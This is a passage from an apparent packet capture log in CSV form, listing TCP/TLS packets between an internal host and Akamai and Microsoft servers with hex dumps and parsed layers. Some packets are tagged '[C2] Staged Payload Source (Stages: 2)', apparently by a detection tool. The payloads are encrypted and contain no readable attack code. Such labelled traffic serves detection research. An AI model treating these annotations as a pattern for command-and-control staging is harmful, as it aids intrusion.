\"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"b5a9b61b698733140a3871976867de509c97901879180e11f28eb9df903912c8d4369d6520c4eb1fcc00b140085b36f6db0be25ac202a01b65049810c49484a973695b10834971cde46a13e83c4b4670d8c95c56e68a86b3046e1d84467dadf16a0d1c544907c2abbbf353d59076a50e73b5d87b9fe6a713379966fcd6a2035d1c8b6d18432394038c59a3fcc5a26b8716fe9d718e8c65fdf51bdd5b66e86470a33fc80a00724f022e6c07ebdc04d9c3ccc01bab8f54db190ac1913360aad415470acc5a55accc1c98b9bd9a920a8721b8fd1551637dfa5828b50e912883b8057968b68cea4bc3bea76540d31ebba2253989375375a29b06dec4216e5a308e042db97da3bc79131fe570a098db2efc4a4f9614371af6ad4751bdb91cc733e3d69b7e6fd171ee6a3102e98a095464ce89f22f0d1a531fe6cb95f9a59a41341eb99e2fdfa88b45d9c7a2aa6bfaa50e7c1046f67c594f846f5ded0cdb1d6ac84391f2d2c5a2b7962c012ef51d4612cc15e18aadb841ba94f630f593c8da0c61eb097dbcee9d20815f022ae1123ed389313381f1575c2b88c56f1e0a28bf7498a54828960ffe4b2e6d28f55e36cc844dacb8e1e1dda03be7e8be59b9d28c1583b6cc5e3ab699c9c070ea554e696e9296103b11c7fff3f5e2b8d8f222a65971f08ac5e80903ee2376c9d23f159db1ba3acd56715b67a1209ed229333c359e5c3f371cec24a09b86c0357c6a582af083e5695de277c5384409d681e9e3cb7b09cab60a715133cd7531164897e03f6ce8c3c0f0dd956309f0aa6c7d2c9ff8ad23ba34b94eabd3cf14e8db2a58f1f3dd7652d8d084034fc50b9fe8a7aa78ccc4775dca7a38ed256215f8ac32b34e297ad15a501980385cb379302fec69533d7217e23dbece2d3249413283f2153e9bdfe93b80121946092cfbcaa6da43cc9560856d32bcce5f89c00da86d6ddcada0834ef279b26212622b62e27ae3f88b2c5add8cbccd54cba6dfa26ce571931111462f1ab3f2ca2c98f48b89c038a59d641cc8bdc1349dec46cc681966fd130ba7c90b75566c335ef151b4b49f8b2726c4a848e1aadca3097c2694376db185\"\"}}]\"\n2026-06-14 14:28:34.942113,20,TCP 10.152.152.11:63942 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63942,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2473780001 Ack=616616290,bc24112907bbbc2411360d0c0800450000282fb840008006d3100a98980bb81e9d45f9c601bb9372e32124c0d162501020112f830000,\".$.)...$.6\n...E..(/.@.....\n......E.....r.!$..bP. ./...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12216, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54032, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63942, \"\"dport\"\": 443, \"\"seq\"\": 2473780001, \"\"ack\"\": 616616290, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8209, \"\"chksum\"\": 12163, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:35.379031,21,TCP 10.152.152.11:63942 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63942,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2473780001 Ack=616616290,bc24112907bbbc2411360d0c0800450001a62fb940008006d1910a98980bb81e9d45f9c601bb9372e32124c0d16250182011c7370000170303017900000000000000028f370d2e478f7235391266e6f7df8658ba0bb14c5fdc98fa935b5571acbd41944eb40010c7adfafde340642d530bf8e49203e461906ca6f19c5666a7cfe392d9fe39a64243219ae517f9df365511852c89ad3a6dd6ab32c40692b8802a27bde7a92d5b9a7598a713d0824a344058c7be3a4e416eeb3725dc4459891f567e54182622d60655fff63431c8826e777b214ac0431dac9b46812aafbcb4d1b960a4032bfc42e027f0147ad06214f89afe02d01ed24491749f36c59babcab0f480f41e06d530477a2cdd8a63b3b96ebc2b72d69ae0c7c3b1149cbbe345d1275ee61d7ff6701a319ce828d94d043878bf622054975d76552f4ee1bf11c227bf4885a82ca099058040ee8fac128f5f03f4907ccce43053fdd17a7fd249633888169c02e8b5f6db50bf10c3ff5304d1019b240d9a2139ceb82ab3561d6ca1f5ab394140ef04f6709ae5a651c51f40cee1337bb179c92fbf2aeccc738f8ce5533553b1c56356bdab82add32fd3ed2ffdbfc660f04d98,\".$.)...$.6\n...E.../.@.....\n......E.....r.!$..bP. ..7......y.........7\n.G.r59.f....X...L_....[Uq..A.N........@d-S......a.l...Vf......9.BC!.....6U..,..:m..2.....*'...-[.u.....J4@X..:NAn.7%.DY..V~T.&\"\"..U..41..nw{!J.C...F.*.....`..+.B.'..z.b........D.t.6...........0Gz,..c..n.+r..........E.'^....p.1..(.M.8x.b T.]vU/N....'.H..,....@....._...|..0S..z..Ic8........P....S....$\n.!9..*.V.l...9A@...p...Q..@..3{.y./.*..s...S5S..cV...../../...`.M.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 422, \"\"id\"\": 12217, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 53649, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63942, \"\"dport\"\": 443, \"\"seq\"\": 2473780001, \"\"ack\"\": 616616290, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8209, \"\"chksum\"\": 50999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 377, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x8f7\\\\r.G\\\\x8fr59\\\\x12f\\\\xe6\\\\xf7\\\\xdf\\\\x86X\\\\xba\\\\x0b\\\\xb1L_\\\\xdc\\\\x98\\\\xfa\\\\x93[Uq\\\\xac\\\\xbdA\\\\x94N\\\\xb4\\\\x00\\\\x10\\\\xc7\\\\xad\\\\xfa\\\\xfd\\\\xe3@d-S\\\\x0b\\\\xf8\\\\xe4\\\\x92\\\\x03\\\\xe4a\\\\x90l\\\\xa6\\\\xf1\\\\x9cVf\\\\xa7\\\\xcf\\\\xe3\\\\x92\\\\xd9\\\\xfe9\\\\xa6BC!\\\\x9a\\\\xe5\\\\x17\\\\xf9\\\\xdf6U\\\\x11\\\\x85,\\\\x89\\\\xad:m\\\\xd6\\\\xab2\\\\xc4\\\\x06\\\\x92\\\\xb8\\\\x80*\\\\'\\\\xbd\\\\xe7\\\\xa9-[\\\\x9au\\\\x98\\\\xa7\\\\x13\\\\xd0\\\\x82J4@X\\\\xc7\\\\xbe:NAn\\\\xeb7%\\\\xdcDY\\\\x89\\\\x1fV~T\\\\x18&\\\"\"\\\\xd6\\\\x06U\\\\xff\\\\xf641\\\\xc8\\\\x82nw{!J\\\\xc0C\\\\x1d\\\\xac\\\\x9bF\\\\x81*\\\\xaf\\\\xbc\\\\xb4\\\\xd1\\\\xb9`\\\\xa4\\\\x03+\\\\xfcB\\\\xe0\\\\'\\\\xf0\\\\x14z\\\\xd0b\\\\x14\\\\xf8\\\\x9a\\\\xfe\\\\x02\\\\xd0\\\\x1e\\\\xd2D\\\\x91t\\\\x9f6\\\\xc5\\\\x9b\\\\xab\\\\xca\\\\xb0\\\\xf4\\\\x80\\\\xf4\\\\x1e\\\\x06\\\\xd50Gz,\\\\xdd\\\\x8ac\\\\xb3\\\\xb9n\\\\xbc+r\\\\xd6\\\\x9a\\\\xe0\\\\xc7\\\\xc3\\\\xb1\\\\x14\\\\x9c\\\\xbb\\\\xe3E\\\\xd1\\\\'^\\\\xe6\\\\x1d\\\\x7f\\\\xf6p\\\\x1a1\\\\x9c\\\\xe8(\\\\xd9M\\\\x048x\\\\xbfb T\\\\x97]vU/N\\\\xe1\\\\xbf\\\\x11\\\\xc2\\\\'\\\\xbfH\\\\x85\\\\xa8,\\\\xa0\\\\x99\\\\x05\\\\x80@\\\\xee\\\\x8f\\\\xac\\\\x12\\\\x8f_\\\\x03\\\\xf4\\\\x90|\\\\xcc\\\\xe40S\\\\xfd\\\\xd1z\\\\x7f\\\\xd2Ic8\\\\x88\\\\x16\\\\x9c\\\\x02\\\\xe8\\\\xb5\\\\xf6\\\\xdbP\\\\xbf\\\\x10\\\\xc3\\\\xffS\\\\x04\\\\xd1\\\\x01\\\\x9b$\\\\r\\\\x9a!9\\\\xce\\\\xb8*\\\\xb3V\\\\x1dl\\\\xa1\\\\xf5\\\\xab9A@\\\\xef\\\\x04\\\\xf6p\\\\x9a\\\\xe5\\\\xa6Q\\\\xc5\\\\x1f@\\\\xce\\\\xe13{\\\\xb1y\\\\xc9/\\\\xbf*\\\\xec\\\\xccs\\\\x8f\\\\x8c\\\\xe5S5S\\\\xb1\\\\xc5cV\\\\xbd\\\\xab\\\\x82\\\\xad\\\\xd3/\\\\xd3\\\\xed/\\\\xfd\\\\xbf\\\\xc6`\\\\xf0M\\\\x98' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:35.379069,22,TCP 184.30.157.69:443 -> 10.152.152.11:63942,184.30.157.69,10.152.152.11,443,63942,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=616616290 Ack=2473780383,bc2411360d0cbc24112907bb0800450000289bf540004006a6d3b81e9d450a98980b01bbf9c624c0d1629372e49f5010003ff8210000,\".$.6\n..$.)....E..(..@.@......E\n.......$..b.r..P..?.!..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 39925, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42707, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63942, \"\"seq\"\": 616616290, \"\"ack\"\": 2473780383, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 63521, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:35.859382,23,TCP 184.30.157.69:443 -> 10.152.152.11:63942,184.30.157.69,10.152.152.11,443,63942,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=616616290 Ack=2473780383,bc2411360d0cbc24112907bb0800450002a19bf640004006a459b81e9d450a98980b01bbf9c624c0d1629372e49f5018003ffa9a00001703030274453155f8677edd542166b0c79735982bd9c60240c8a19695e063b613c92e8addb019c4657efba5ee6e85d269646e10acf60839b56c833233a2286408e670ca2ee993ddc0f99a8b2530727560a882f9ddd165e81d0b2432526eb912b3113fb465aee5fb0c7022de7a242781824b1594a0de77ab47061fb864fc0ca570ae9c94a9bdcc8faaf74a39a235c2b197745c136727008451b8ae05c25712aa9a16d5a377af8ffb44bb99f5feea69d693fb2c8173c6feff601403edfa3b734d29425d124b28bd8d37b5f094086cdb617b7da9693565f29c9130adc2f2e65d4c49ad705b851b12ba00bbd4969b337e93f086187d830ea85c110a440d31e6d985009ac024af9a11b73013dfdb6628206c4e4d25607b8f6cc17620911c219c10226d113f372ab87074e4dc9b1681f1f5bbb2333e868e7cb86a4fb1ea9e58ab8cb1270e7bfad7e2225727150464653b3f400c38fd777bb8c3c837f802cf51820018e31ab0c529870a95b8de2fde0d6d44bd98eaa99964963af049bb580079d72870c24c690415a8a24dbc25a06acae8b4061739cb3964bbebaca044a1badc1dc26d84ea84bd4ad19d219d2a8f74a49c5201e41f4c5e6e8a0e4e4bd8c882f3c50a7c0869eeda11d45089b8914ed52f12953bf874dfef685df8a4a1a96d094e9f20ca2a94abdb39a99c3e4178efd3c5b2cb6346f18a857b43010a6ec0e38b4bb3ba8bae51e8b4d48e7632c059ca5c3888df441b14d8087fc640b3133f95aa12670181ae245cee2f75d4ded762952640c3e3286b2a7afb622e4e1158523cf642df6e44041f94c2dd08b1332f0466425be98605988acac232566d309fe178fe3464fd87e50ae7b894fd7c03b741cf486e2c135c60e9410e88b8c7000e,\".$.6\n..$.)....E.....@.@..Y...E\n.......$..b.r..P..?........tE1U.g~.T!f...5.+...@.....c.........e~...n..idn....9.l.23.(d..p.........%0ru`.....e...$2Rn....?.e....p\"\".z$'..K....w.G...d...p.........J9.5...t\\.g'..Q....W......w...D.....i...,.s...`....;sM)B].K(..7....l.a{}.i5e...0....]LI.p[.........3~....}...\\.\nD\n1......$....0...f( lNM%`{.l.v ..!..\"\"m.?7*.pt.........3>..|.jO...X...'.{...\"\"W'..de;?@.8.w{...7...Q.......).\n.../.\nmD.....d.:.I.X.y.(p.Li....M.%.j.....9.9d....D.....m....J..!.*.t..R...L^n..NK.....\n|.i....P...N./..;.t..h]....m\tN. .*...9..>Ax.....cF...{C.\nn...K....Q....v2.Y.\\8..D......@..?...g...$\\./u...b.&@..(k*z.b.N.XR<.B.nD.......3/.fB[.......2Vm0..x.4d...\n....|..A.Hn,.\\`.A......\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 673, \"\"id\"\": 39926, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42073, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63942, \"\"seq\"\": 616616290, \"\"ack\"\": 2473780383, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 64154, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 628, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'E1U\\\\xf8g~\\\\xddT!f\\\\xb0\\\\xc7\\\\x975\\\\x98+\\\\xd9\\\\xc6\\\\x02@\\\\xc8\\\\xa1\\\\x96\\\\x95\\\\xe0c\\\\xb6\\\\x13\\\\xc9.\\\\x8a\\\\xdd\\\\xb0\\\\x19\\\\xc4e~\\\\xfb\\\\xa5\\\\xeen\\\\x85\\\\xd2idn\\\\x10\\\\xac\\\\xf6\\\\x089\\\\xb5l\\\\x8323\\\\xa2(d\\\\x08\\\\xe6p\\\\xca.\\\\xe9\\\\x93\\\\xdd\\\\xc0\\\\xf9\\\\x9a\\\\x8b%0ru`\\\\xa8\\\\x82\\\\xf9\\\\xdd\\\\xd1e\\\\xe8\\\\x1d\\\\x0b$2Rn\\\\xb9\\\\x12\\\\xb3\\\\x11?\\\\xb4e\\\\xae\\\\xe5\\\\xfb\\\\x0cp\\\"\"\\\\xdez$\\\\'\\\\x81\\\\x82K\\\\x15\\\\x94\\\\xa0\\\\xdew\\\\xabG\\\\x06\\\\x1f\\\\xb8d\\\\xfc\\\\x0c\\\\xa5p\\\\xae\\\\x9c\\\\x94\\\\xa9\\\\xbd\\\\xcc\\\\x8f\\\\xaa\\\\xf7J9\\\\xa25\\\\xc2\\\\xb1\\\\x97t\\\\\\\\\\\\x13g\\\\'\\\\x00\\\\x84Q\\\\xb8\\\\xae\\\\x05\\\\xc2W\\\\x12\\\\xaa\\\\x9a\\\\x16\\\\xd5\\\\xa3w\\\\xaf\\\\x8f\\\\xfbD\\\\xbb\\\\x99\\\\xf5\\\\xfe\\\\xeai\\\\xd6\\\\x93\\\\xfb,\\\\x81s\\\\xc6\\\\xfe\\\\xff`\\\\x14\\\\x03\\\\xed\\\\xfa;sM)B]\\\\x12K(\\\\xbd\\\\x8d7\\\\xb5\\\\xf0\\\\x94\\\\x08l\\\\xdba{}\\\\xa9i5e\\\\xf2\\\\x9c\\\\x910\\\\xad\\\\xc2\\\\xf2\\\\xe6]LI\\\\xadp[\\\\x85\\\\x1b\\\\x12\\\\xba\\\\x00\\\\xbb\\\\xd4\\\\x96\\\\x9b3~\\\\x93\\\\xf0\\\\x86\\\\x18}\\\\x83\\\\x0e\\\\xa8\\\\\\\\\\\\x11\\\\nD\\\\r1\\\\xe6\\\\xd9\\\\x85\\\\x00\\\\x9a\\\\xc0$\\\\xaf\\\\x9a\\\\x11\\\\xb70\\\\x13\\\\xdf\\\\xdbf( lNM%`{\\\\x8fl\\\\xc1v \\\\x91\\\\x1c!\\\\x9c\\\\x10\\\"\"m\\\\x11?7*\\\\xb8pt\\\\xe4\\\\xdc\\\\x9b\\\\x16\\\\x81\\\\xf1\\\\xf5\\\\xbb\\\\xb23>\\\\x86\\\\x8e|\\\\xb8jO\\\\xb1\\\\xea\\\\x9eX\\\\xab\\\\x8c\\\\xb1\\\\'\\\\x0e{\\\\xfa\\\\xd7\\\\xe2\\\"\"W\\\\'\\\\x15\\\\x04de;?@\\\\x0c8\\\\xfdw{\\\\xb8\\\\xc3\\\\xc87\\\\xf8\\\\x02\\\\xcfQ\\\\x82\\\\x00\\\\x18\\\\xe3\\\\x1a\\\\xb0\\\\xc5)\\\\x87\\\\n\\\\x95\\\\xb8\\\\xde/\\\\xde\\\\rmD\\\\xbd\\\\x98\\\\xea\\\\xa9\\\\x99d\\\\x96:\\\\xf0I\\\\xbbX\\\\x00y\\\\xd7(p\\\\xc2Li\\\\x04\\\\x15\\\\xa8\\\\xa2M\\\\xbc%\\\\xa0j\\\\xca\\\\xe8\\\\xb4\\\\x06\\\\x179\\\\xcb9d\\\\xbb\\\\xeb\\\\xac\\\\xa0D\\\\xa1\\\\xba\\\\xdc\\\\x1d\\\\xc2m\\\\x84\\\\xea\\\\x84\\\\xbdJ\\\\xd1\\\\x9d!\\\\x9d*\\\\x8ft\\\\xa4\\\\x9cR\\\\x01\\\\xe4\\\\x1fL^n\\\\x8a\\\\x0eNK\\\\xd8\\\\xc8\\\\x82\\\\xf3\\\\xc5\\\\n|\\\\x08i\\\\xee\\\\xda\\\\x11\\\\xd4P\\\\x89\\\\xb8\\\\x91N\\\\xd5/\\\\x12\\\\x95;\\\\xf8t\\\\xdf\\\\xefh]\\\\xf8\\\\xa4\\\\xa1\\\\xa9m\\\\tN\\\\x9f \\\\xca*\\\\x94\\\\xab\\\\xdb9\\\\xa9\\\\x9c>Ax\\\\xef\\\\xd3\\\\xc5\\\\xb2\\\\xcbcF\\\\xf1\\\\x8a\\\\x85{C\\\\x01\\\\nn\\\\xc0\\\\xe3\\\\x8bK\\\\xb3\\\\xba\\\\x8b\\\\xaeQ\\\\xe8\\\\xb4\\\\xd4\\\\x8ev2\\\\xc0Y\\\\xca\\\\\\\\8\\\\x88\\\\xdfD\\\\x1b\\\\x14\\\\xd8\\\\x08\\\\x7f\\\\xc6@\\\\xb3\\\\x13?\\\\x95\\\\xaa\\\\x12g\\\\x01\\\\x81\\\\xae$\\\\\\\\\\\\xee/u\\\\xd4\\\\xde\\\\xd7b\\\\x95&@\\\\xc3\\\\xe3(k*z\\\\xfbb.N\\\\x11XR<\\\\xf6B\\\\xdfnD\\\\x04\\\\x1f\\\\x94\\\\xc2\\\\xdd\\\\x08\\\\xb13/\\\\x04fB[\\\\xe9\\\\x86\\\\x05\\\\x98\\\\x8a\\\\xca\\\\xc22Vm0\\\\x9f\\\\xe1x\\\\xfe4d\\\\xfd\\\\x87\\\\xe5\\\\n\\\\xe7\\\\xb8\\\\x94\\\\xfd|\\\\x03\\\\xb7A\\\\xcfHn,\\\\x13\\\\\\\\`\\\\xe9A\\\\x0e\\\\x88\\\\xb8\\\\xc7\\\\x00\\\\x0e' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:35.882949,24,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=4179543433 Ack=0,bc24112907bbbc2411360d0c080045000034139c400080064f5f0a98980b2863ccc2f9db01bbf91ec589000000008002ffff1d080000020405b40103030801010402,\".$.)...$.6\n...E..4..@...O_\n...(c..................................\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 5020, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20319, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179543433, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 7432, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-14 14:28:35.882979,25,TCP 40.99.204.194:443 -> 10.152.152.11:63963,40.99.204.194,10.152.152.11,443,63963,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=3179308273 Ack=4179543434,bc2411360d0cbc24112907bb080045000034000040004006a2fb2863ccc20a98980b01bbf9dbbd8064f1f91ec58a8012faf097ef0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@...(c..\n.........d........................\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41723, \"\"src\"\": \"\"40.99.204.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 3179308273, \"\"ack\"\": 4179543434, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 38895, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-14 14:28:35.883191,26,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=4179543434 Ack=3179308274,bc24112907bbbc2411360d0c080045000028139d400080064f6a0a98980b2863ccc2f9db01bbf91ec58abd8064f25010040037580000,\".$.)...$.6\n...E..(..@...Oj\n...(c............d.P...7X..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5021, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20330, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179543434, \"\"ack\"\": 3179308274, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 14168, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:35.885829,27,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4179543434 Ack=3179308274,bc24112907bbbc2411360d0c0800450000f3139e400080064e9e0a98980b2863ccc2f9db01bbf91ec58abd8064f250180400beed000016030300c6010000c203036a2f1d028748d14c388c0903e33241d6a7f5f235ee362f62ee1b439d6f04f59e000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000730000001700150000126f75746c6f6f6b2e6f66666963652e636f6d000500050100000000000a00080006001d00170018000b00020100000d001a0018080408050806040105010201040305030203020206010603002300000010000e000c02683208687474702f312e3100170000ff01000100,\".$.)...$.6\n...E.....@...N.\n...(c............d.P..................j/...H.L8.\t..2A....5.6/b..C.o.....&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...s.........outlook.office.com..........\n.................\n.............................#.........h2.http/1.1.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 243, \"\"id\"\": 5022, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20126, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179543434, 